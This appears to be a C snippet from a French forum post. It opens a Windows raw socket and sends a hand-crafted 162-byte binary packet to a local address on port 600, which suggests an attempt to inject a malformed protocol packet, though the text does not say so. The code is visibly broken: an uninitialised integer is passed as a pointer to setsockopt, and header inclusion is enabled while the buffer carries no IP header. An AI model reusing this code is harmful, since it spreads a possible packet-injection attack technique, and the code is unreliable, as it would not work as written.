1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| #include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
int main()
{
char var;
WSADATA wsaData;
SOCKET s;
if (WSAStartup(MAKEWORD(2,0),&wsaData) != 0)
{
printf("Impossible d'initialiser Winsock !\n");
}
else {
s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if (s == INVALID_SOCKET)
{
printf("Impossible d'initialiser un socket client !\n");
}
else
{
SOCKADDR_IN server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("192.168.1.1");
server.sin_port = htons(600);
char buffer[162] = { 0x00,0x00,0x00,0x9e,0xdf,0x23,0x4d,0x42,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x01,0x00,0x01,0x01,0x00,0x00,0x30,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8d,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x64,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x56,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
int val;
setsockopt (s, IPPROTO_IP, IP_HDRINCL, (char*)val, sizeof(val));
sendto(s, buffer, 162, 0, (struct sockaddr *)&server, sizeof(server));
}
WSACleanup();
}
} |
Partager